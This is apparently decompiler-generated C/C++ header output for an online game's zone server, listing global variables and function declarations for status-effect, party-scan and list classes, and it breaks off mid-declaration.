idb extern UseEffect::UseItemBossMobDetect ui_BossMobDetect; // idb extern UseEffect::UseItemBase ui_horsefood; // idb extern UseEffect::UseItemBase ui_dummy2real; // idb extern CharModeClassifier stru_124F321C; extern unsigned int _S4_25; extern CharModeClassifier stru_124F3224; extern unsigned int _S7_3; extern CharModeClassifier stru_124F322C; extern unsigned int _S9_38; extern CharModeClassifier stru_124F3234; extern unsigned int _S11_10; extern WeddingHall weddinghall; // idb extern _UNKNOWN unk_124F323D; // weak extern ShineDateTime stru_124F3240; // idb extern ShineDateTime Rhs; // idb extern unsigned int unk_124F3250; // idb extern unsigned int unk_124F3264; // idb extern ZoneRingPacketItemBonus zonringpack_itembonus; // idb extern ZoneRingPacketFindPlayer zonringpack_findplayer; // idb extern ZoneRingPacketFindInstanceDungeon zonringpack_findinstancedungeon; // idb extern ZoneRingPacketSummonPartner zonringpack_summonpartner; // idb extern ZoneRingPacketSummonPlayer zonringpack_summonplayer; // idb extern ZoneRingPacketExpBonus zonringpack_expbonus; // idb extern ZoneRingPacketEmtpyInstanceDungeon zonringpack_emptyinstancedungeon; // idb extern ZoneRingPacketKickPlayerOut zonringpack_kickplayerout; // idb extern ZoneRingPacketRefreshWeddingInfo zonringpack_refresh_weddinginfo; // idb extern ZoneRingPacketFindPlayerByNormalUser zonringpack_findplayerbynormaluser; // idb extern ZoneIPContainer zipc; // idb extern char erasefile[16384]; extern int erasenum; extern CDataReader gItemUpgrade; // idb extern CDataReader gMiniHouseDiceRate; // idb extern CWeaponTitleZone gWeaponTitle; // idb extern CDataReader gMiniHouseDiceDividind; // idb extern CDataReader gMiniHouseObjEffect; // idb extern std::_Tree,std::allocator,0> > globalset; // idb extern CGuildZone gGuild; // idb extern CCharacterTitleData gCharacterTitleData; // idb extern CQuestData gQuestData; // idb extern CDataReader gItemDismantle; // idb extern CDataReader gClassName; // idb extern DiceTaiSai gMiniHouseDiceTaiSai; // idb extern CDataReader gMiniHouseDiecGame; // idb extern CAnnounceSystem gAnnounceSystem; // idb extern DiceTaiSaiDividind gMiniHouseDiceTaiSaiDividind; // idb extern int Singleton::selfInstance; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern unsigned int _S234; extern unsigned int _S236; extern unsigned int _S238; extern unsigned int _S240; extern unsigned int _S242; extern unsigned int _S244; extern unsigned int _S246; extern unsigned int _S248; extern unsigned int _S250; extern unsigned int _S252; extern unsigned int _S254; extern unsigned int _S256; extern unsigned int _S258; extern unsigned int _S260; extern unsigned int _S262; extern unsigned int _S264; extern MobDataBox mobdatabox; // idb extern SocketBundle sock2gamelog; // idb extern EventHeartPing eventheartping; // idb extern MapDataBox mapdatabox; // idb extern ClockWatch clockwatch; // idb extern ZoneConnectSession zoneconnect; // idb extern _UNKNOWN unk_12571BF4; // weak extern _UNKNOWN unk_12571C14; // weak extern CSocket_IOCP stru_12571C1C; // idb extern SocketBundle sock2wldman; // idb extern WorldManagerSession stru_12571CFC; // idb extern _UNKNOWN unk_12572120; // weak extern _UNKNOWN DebugMessage; // weak extern int dword_12572228; // weak extern char byte_125723AC; // weak extern DebugLogging GuildTournamentLog; // idb extern EventMobRegen eventmobregen; // idb extern DebugLineFeed deb_LF; // idb extern DebugLogging KQLogoutLog; // idb extern DebugLogging SocketMultiplicateLog; // idb extern SocketBundle sock2gameDB; // idb extern DebugLogging ChargedItemLog; // idb extern DebugLogging BalanceLog; // idb extern DebugLogging LockIndexLog; // idb extern DebugLogging InnerMiniHouseLog; // idb extern List zonevent; // idb extern ItemDataBox itemdatabox; // idb extern int dword_125739EC; // weak extern BTree stru_125739F0; // idb extern BinaryDataBox stru_12573DF4; // idb extern int dword_12574188; // weak extern _UNKNOWN unk_1257418C; // weak extern _UNKNOWN unk_12574190; // weak extern unsigned __int16 chest; // idb extern _UNKNOWN unk_12574198; // weak extern unsigned __int16 ident; // idb extern _UNKNOWN unk_1257419C; // weak extern _UNKNOWN unk_125741B4; // weak extern __int16 word_125741BC; // weak extern _UNKNOWN unk_125741BE; // weak extern _UNKNOWN unk_125741C0; // weak extern _UNKNOWN unk_125741C2; // weak extern __int16 word_125741C4; // weak extern __int16 word_125741CC; // weak extern DebugLogging MoreDisconnectLog; // idb extern DebugLogging ShineObjectHandleLog; // idb extern DebugLogging KQLogging; // idb extern ZoneServer zoneserver; // idb extern _UNKNOWN mobhat; // weak extern char dashtoken[20]; // idb extern std::_Tree >,std::less,std::allocator > > > triggerDic; // idb extern int dword_13F361F8; // weak extern NPCAction::Manager conditionManager; // idb extern NPCAction::Manager actionManager; // idb extern int GTIGetRateTable::AllProbability[]; // weak extern int dword_13F36224; // weak extern int dword_13F36228; // weak extern int dword_13F3622C; // weak extern int dword_13F36230; // weak extern int dword_13F36234; // weak extern std::map >,std::less,std::allocator > > > > GuildTournamentLvGapTable::sm_mapBalanceDatas; // idb extern std::_Tree,std::allocator >,1> > MysteryVaultTable::sm_ItemLists; // idb extern StaticVector pointlist; extern unsigned int _S4_26; extern std::vector > waitlist; // idb extern CharModeClassifier stru_13F36274; extern unsigned int _S4_27; extern BossFieldContent::ListOfMobStateCheckAtDead BossFieldContent::g_ListOfMobStateCheckAtDead; // idb extern BossFieldContent::ServentBuffBossTable BossFieldContent::g_ServentBuffBossTable; // idb extern BossFieldContent::MobAutomaticActionList BossFieldContent::g_MobAutomaticActionList; // idb extern ShineScript shinescriptmenusting; // idb extern ShineScript shinescriptetc; // idb extern KQScriptManager kqscriptmanager; // idb extern RandomBox rndbox; // idb extern MobResistTable mobresisttable; // idb extern CWeaponTitle *weapontitle; // idb extern ItemAttributeClassContainer itmattcontainer; // idb extern int nullstr; extern unsigned __int16 serial; extern CharacterInventoryManager charinvenman; extern _UNKNOWN ItemActionItemBox::iaib_Default; // weak extern __int16 word_146C116C; // weak extern int dword_146C1174; // weak extern CParty::PARTY_SLOT CParty::p_def; // idb extern char OptionReader::or_Exchange[]; // idb extern int dword_146C1228; // weak extern int dword_146C122C; // weak extern int dword_146C1230; // weak extern char ORTable::ort_Index[]; // idb extern __int64 qword_146C123C; // weak extern int dword_146C1244; // weak extern char OptionReader::or_Brace[]; // idb extern int dword_146C1250; // weak extern int dword_146C1254; // weak extern int dword_146C1258; // weak extern char OptionReader::or_Delimiter[]; // idb extern int dword_146C1264; // weak extern int dword_146C1268; // weak extern int dword_146C126C; // weak extern char ORTable::ort_Dword[]; // idb extern __int64 qword_146C1278; // weak extern int dword_146C1280; // weak extern char ORTable::ort_String[]; // idb extern __int64 qword_146C128C; // weak extern int dword_146C1294; // weak extern char ORTable::ort_Dwrd[]; // idb extern __int64 qword_146C12A0; // weak extern int dword_146C12A8; // weak extern char ORTable::ort_Byte[]; // idb extern __int64 qword_146C12B4; // weak extern int dword_146C12BC; // weak extern ORToken OptionReader::or_ColumnType; // idb extern ORToken OptionReader::or_Record; // idb extern ORToken OptionReader::or_ColumnName; // idb extern char OptionReader::or_Ignore[]; // idb extern int dword_146C1304; // weak extern int dword_146C1308; // weak extern int dword_146C130C; // weak extern char ORTable::ort_Word[]; // idb extern __int64 qword_146C1318; // weak extern int dword_146C1320; // weak extern char OptionReader::or_End[]; // idb extern __int64 qword_146C1328; // weak extern __int64 qword_146C1330; // weak extern ORToken OptionReader::or_Table; // idb extern ORToken OptionReader::or_RecordIn; // idb extern char OptionReader::or_CommentMark[]; // idb extern int dword_146C1368; // weak extern __int64 qword_146C136C; // weak extern int (*MiniDumper::FuncForStack)(void); // weak extern ItemOptionsData itemoptiondata; // idb extern _UNKNOWN unk_146C13A8; // weak extern _UNKNOWN unk_146C13B4; // weak extern RewardData rewarddata; // idb extern unsigned __int16 gDebugMessageCounter; // weak extern char ErrorMessage[1024]; extern char sCurrentDateTime[128]; extern char sCurrentDateTime_0[128]; extern int _Stinit; // weak extern int std::_Facetptr>::_Psave; // weak extern char s_szBuff[2048]; extern _IMAGEHLP_SYMBOL64 s_stSymbol; extern char s_szFName[2048]; extern _IMAGEHLP_LINE64 s_stLine; extern _CONTEXT s_stContext; extern _tagSTACKFRAME64 s_stFrame; extern int s_bSymEngInit; extern volatile LONG CIOBuffer::s_nCount; // idb extern volatile LONG CIOBuffer::s_nAlloc; // idb extern volatile LONG g_nFreeBuffer; extern CIOBuffer::CSlot g_slotBuffer[16]; extern _UNKNOWN IOBufferList; // weak extern _UNKNOWN unk_146C8054; // weak extern _UNKNOWN CToken::m_NULLstr; // weak extern char szCTNull[7]; extern CShnDataFileCheckSum ShnDataFile; // idb extern char ShineObjectHandleUnion::sohu_Index[]; // weak extern char NULLSTR[8360]; extern int std::_Facetptr>>>::_Psave; // weak extern unsigned int std::num_get>>::id; // idb extern std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st CQuestParserScript::m_MapConvertIndexNames; // idb extern int dword_146CFF68; // weak extern int dword_146CFF6C; // weak extern _RTL_CRITICAL_SECTION mtx; extern std::_Init_locks initlocks; extern std::_Fac_node *Fac_head; extern std::locale::_Locimp *global_locale; extern int std::locale::_Locimp::_Clocptr; // weak extern int std::locale::id::_Id_cnt; // weak extern std::locale classic_locale; extern unsigned int std::ctype::id; // idb extern bool registered; extern __int64 std::_Fpz; // weak extern char stdopens[10]; extern std::bad_alloc nomem; extern unsigned int _S1; extern void (__cdecl *atfuns[10])(); extern std::_Init_locks initlocks_0; extern _Init_atexit init_atexit; extern int _adjust_fdiv; // weak extern int (*__pPurecall)(void); // weak extern int _umaskval; // weak extern int _osplatform; // weak extern unsigned int _winmajor; extern int __argc; extern char **__argv; extern char **_environ; extern int __initenv; // weak extern wchar_t **_wenviron; extern char *_pgmptr; extern char _exitflag; // weak extern int _C_Termination_Done; // weak extern int _C_Exit_Done; // weak extern char *_aenvptr; // idb extern int __error_mode; // weak extern int (__cdecl *_pnhHeap)(unsigned int); // weak extern int f_use; extern _RTL_CRITICAL_SECTION lclcritsects[14]; extern tagLC_ID cacheid; extern unsigned int cachecp; extern int (__stdcall *gpFlsAlloc)(_DWORD); // weak extern int (__stdcall *gpFlsGetValue)(_DWORD); // weak extern int (__stdcall *gpFlsSetValue)(_DWORD, _DWORD); // weak extern int (__stdcall *gpFlsFree)(_DWORD); // weak extern void (__cdecl *user_handler)(int, void *); extern int _cflush; // weak extern tm tb; extern _TIME_ZONE_INFORMATION tzinfo; extern int tzapiused; extern char *lastTZ; extern int first_time; extern LPTOP_LEVEL_EXCEPTION_FILTER pOldExceptFilter; extern _DWORD _stdbuf[3]; // idb extern int nValidPages; extern void *rgValidPages[16]; extern volatile LONG lModifying; extern int _newmode; // idb extern tm tb_0; extern int fSystemSet; extern int (*_adbgmsg)(void); // weak extern char pgmname[261]; extern int f_use_0; extern int f_use_1; extern int __lc_handle[]; // weak extern int lcid; // idb extern int dword_146D0504; // weak extern int dword_146D0508; // weak extern int dword_146D050C; // weak extern UINT __lc_codepage; // idb extern int __lc_collate_cp; // weak extern wchar_t wcbuffer[4]; extern char __lc_id[12]; // idb extern __int16 word_146D052C; // weak extern __int16 word_146D0534; // weak extern __int16 word_146D053A; // weak extern __int16 word_146D053E; // weak extern __int16 word_146D0540; // weak extern int (__stdcall *_crtInitCritSecAndSpinCount)(_RTL_CRITICAL_SECTION *, unsigned int); extern int __lc_time_intl; // weak extern void *__lconv_intl; // idb extern int iLcidState; extern LCID lcidLanguage; extern unsigned int lcidCountry; extern int bAbbrevLanguage; extern int bAbbrevCountry; extern char *pchCountry; extern int iPrimaryLen; extern char *pchLanguage; extern int (__stdcall *pfnGetLocaleInfoA)(unsigned int, unsigned int, char *, int); extern void (__cdecl *ctrlc_action)(int); extern void (__cdecl *ctrlbreak_action)(int); extern void (__cdecl *abort_action)(int); extern void (__cdecl *term_action)(int); extern int (__stdcall *pfnMessageBoxA)(HWND__ *, const char *, const char *, unsigned int); extern HWND__ *(__stdcall *pfnGetActiveWindow)(); extern HWND__ *(__stdcall *pfnGetLastActivePopup)(HWND__ *); extern HWINSTA__ *(__stdcall *pfnGetProcessWindowStation)(); extern int (__stdcall *pfnGetUserObjectInformationA)(void *, int, void *, unsigned int, unsigned int *); extern int _commode; // weak extern int f_use_2; extern int f_use_3; extern int f_use_4; extern int _fmode; extern int __lconv_mon_refcount; // weak extern void *__lconv_intl_refcount; // idb extern int __lconv_num_refcount; // weak extern UINT _nhandle; // idb extern int __pioinfo[]; // weak extern _UNKNOWN unk_146D05C4; // weak extern int __mblcid; // idb extern void *___ptmbcinfo; // idb extern int __ismbcodepage; // weak extern unsigned __int8 _mbctype[]; extern char byte_146D06E1[]; // weak extern UINT __mbcodepage; // idb extern __int16 __mbulinfo[]; // weak extern unsigned __int8 _mbcasemap[]; extern int __use_sse2_mathfcns; // weak extern int __sse2_available; // weak extern char *__sbh_pHeaderDefer; // idb extern int __sbh_cntHeaderList; // weak extern LPVOID __sbh_pHeaderList; // idb extern int __sbh_threshold; // weak extern int __sbh_pHeaderScan; // weak extern int __sbh_sizeHeaderList; // weak extern int __sbh_indGroupDefer; // weak extern HANDLE _crtheap; // idb extern int __active_heap; // weak extern int __piob; // weak extern unsigned int _nstream; // idb extern int __setlc_active; // weak extern _UNKNOWN __unguarded_readlc_active; // weak extern int __ctype1; // weak extern int __ctype1_refcount; // weak extern char *_acmdln; // idb extern int __env_initialized; // weak extern int __onexitend; // weak extern void *__onexitbegin; // idb extern int __mbctype_initialized; // weak //------------------------------------------------------------------------- // Function declarations #define __thiscall __cdecl // Test compile in C mode int __thiscall Name3::operator__(Name3 *this, Name3 *nm); int __thiscall Name4::operator_(int this, int a2); int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag); int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag1, int flag2); char __thiscall Metronome::operator unsigned_char(Metronome *this); int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexArgument(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(void *this); unsigned __int16 __thiscall RandomBox::operator__(RandomBox *this, unsigned int limit); unsigned __int16 __thiscall RandomBox::rb_1000(RandomBox *this); unsigned int __thiscall DirectDistanceTable::ddt_Distance(DirectDistanceTable *this, int dx, int dy); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int x, int y); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int loc); int __thiscall ShineObjectClass::ShineObject::so_CurMapname(int this); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromID(AbnormalStateDictionary::AbState *this, unsigned __int16 sklid); AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromIndex(AbnormalStateDictionary::AbState *this, ABSTATEINDEX sklindex); int __thiscall AbnormalStateContainer::AbnormalStateElement::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateElement *this); void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this); void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::_AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this); int __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this); void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateElementNormal::ase_IndexString(AbnormalStateContainer::AbnormalStateElementNormal *this); char *__thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStatePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_IndexString(AbnormalStateContainer::AbnormalStateElementRecover *this); char *__thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_IndexString(AbnormalStateContainer::AbnormalStateReinforcedMove *this); char *__thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_IndexString(AbnormalStateContainer::AbnormalStateRestCount *this); char *__thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateEachTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateHide::ase_IndexString(AbnormalStateContainer::AbnormalStateHide *this); char *__thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_IndexString(AbnormalStateContainer::AbnormalStatePolymorph *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActor *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateMaxHP *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateFear *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateCaptivate *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPoison *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorDisease *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorShield *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorManaShield *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilence *this); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_This(AbnormalStateContainer::AbnormalStateElement *this); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateList::operator__(AbnormalStateContainer::AbnormalStateList *this, int num); void __thiscall AxialListNearScanParty::AxialListNearScanParty(AxialListNearScanParty *this, unsigned __int16 partyregnum); void __thiscall AxialListNearScanParty::_AxialListNearScanParty(AxialListNearScanParty *this); char __thiscall AxialListNearScanParty::alns_ValidObject(AxialListNearScanParty *this, #325 *obj); void __thiscall AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this); void __thiscall AxialListNearScanCoupleParty::AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this, unsigned __int16 partyregnum, unsigned int PartnerRegnum); char __thiscall AxialListNearScanCoupleParty::alns_ValidObject(AxialListNearScanCoupleParty *this, #325 *obj); void __thiscall AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy(AxialListNearScanGuildAcademy *this); char __thiscall AxialListNearScanGuildAcademy::alns_ValidObject(AxialListNearScanGuildAcademy *this, #325 *obj); void __thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_AfterEnchant(AbnormalStateContainer::SubAbnormalStateMaxHP *this, #325 *body); int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitSet(void *this, signed int abstate); void __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(AbnormalStateContainer::SubAbnormalStateCaptivate *this); int __thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_MaxRestCount(AbnormalStateContainer::AbnormalStateRestCount *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int strength); void __thiscall AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick(AbnormalStateContainer::AbstateElementInObject::ASE_Tick *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this, ABSTATEINDEX key); void __thiscall AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall ShineObjectClass::ShineMobileObject::so_BashStop(void *this); void __thiscall AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll(AxialListNearScanEnemyorAll *this); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_SetAbstateToArea(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pCaster, AxialListNearScan *pTargets, SubAbstateAction saa); AbnormalStateContainer::SkillBlast __thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_Act_SkillBlast(AbnormalStateContainer::SubAbnormalStateActorSilence *this, AbnormalStateContainer::AbstateElementInObject *aso); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AttachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_DetachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj); signed int __cdecl ShineObjectClass::ShineObject::so_smo_SPExhByAbState(); int __thiscall ShineObjectClass::ShineMobileObject::so_smo_SPExhByAbState(int this); void __thiscall AxialListNearScanFriend::AxialListNearScanFriend(AxialListNearScanFriend *this, #325 *center); void __thiscall AxialListNearScanFriend::_AxialListNearScanFriend(AxialListNearScanFriend *this); char __thiscall AxialListNearScanFriend::alns_ValidObject(AxialListNearScanFriend *this, #325 *obj); void __thiscall List::_List(List *this); char __thiscall List::l_PopA(List *this, CardDeck::Card *ele); char __thiscall List::l_PushZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele); char __thiscall List::l_PopA(List *this, AbnormalStateContainer::AbstateElementInObject *ele); char __thiscall List::l_PopZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele); char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(AbnormalStateContainer::AbstateElementInObject *this, List *, unsigned __int16)); void __thiscall ListTraveler::lt_Home(ListTraveler *this); char __thiscall ListTraveler::lt_Next(ListTraveler *this); AbnormalStateContainer::AbstateElementInObject *__thiscall ListTraveler::operator_(ListTraveler *this); #325 *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindCasterObject(AbnormalStateContainer::AbstateElementInObject *this, SHINE_XY_TYPE *center); void __thiscall FunctionEntarance::FunctionEntarance(FunctionEntarance *this, unsigned __int16 funcode, char *funcname, unsigned int flag); void __thiscall FunctionEntarance::_FunctionEntarance(FunctionEntarance *this); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int a2); void __thiscall AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this); char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(AbnormalStateContainer::AbnormalStatePartyEnchant *this, int sub, char *substate); char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, char *substate); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant(AbnormalStateContainer::AbnormalStateElement *this, #325 *me); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime(#325 *, int, ABSTATEINDEX); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SPHealOverTime(#325 *, int); void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(void *this, int abstate, int keeptime, int strength); void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(void *this, int abstate); void __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Inform(void *this, int abstate, int keeptime, char effect); void __thiscall AbnormalStateContainer::ActorCluster::ActorCluster(AbnormalStateContainer::ActorCluster *this); void __thiscall AbnormalStateContainer::ActorCluster::_ActorCluster(AbnormalStateContainer::ActorCluster *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_CompName(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 hnd, AbnormalStateContainer::AbstateElementInObject *key); void __thiscall AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(void *ptr); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindSubState(AbnormalStateContainer::AbstateElementInObject *this, int sub, char *substate); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(AbnormalStateContainer::AbstateElementInObject *this); char __thiscall ListIter_ObjectAbStateRoutine::lid_Call(ListIter_ObjectAbStateRoutine *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); int __thiscall AbnormalStateContainer::AbstateListInObject::asl_Routine(_DWORD, _DWORD); // weak char __thiscall AbnormalStateContainer::AbnormalStateElement::ase_Routine(AbnormalStateContainer::AbnormalStateElement *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateTickRoutine *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateEachTickRoutine *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_Routine(AbnormalStateContainer::AbnormalStatePolymorph *this, #740 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_Routine(AbnormalStateContainer::SubAbnormalStateFear *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #740 *body, ABSTATEINDEX abs); int __thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this, 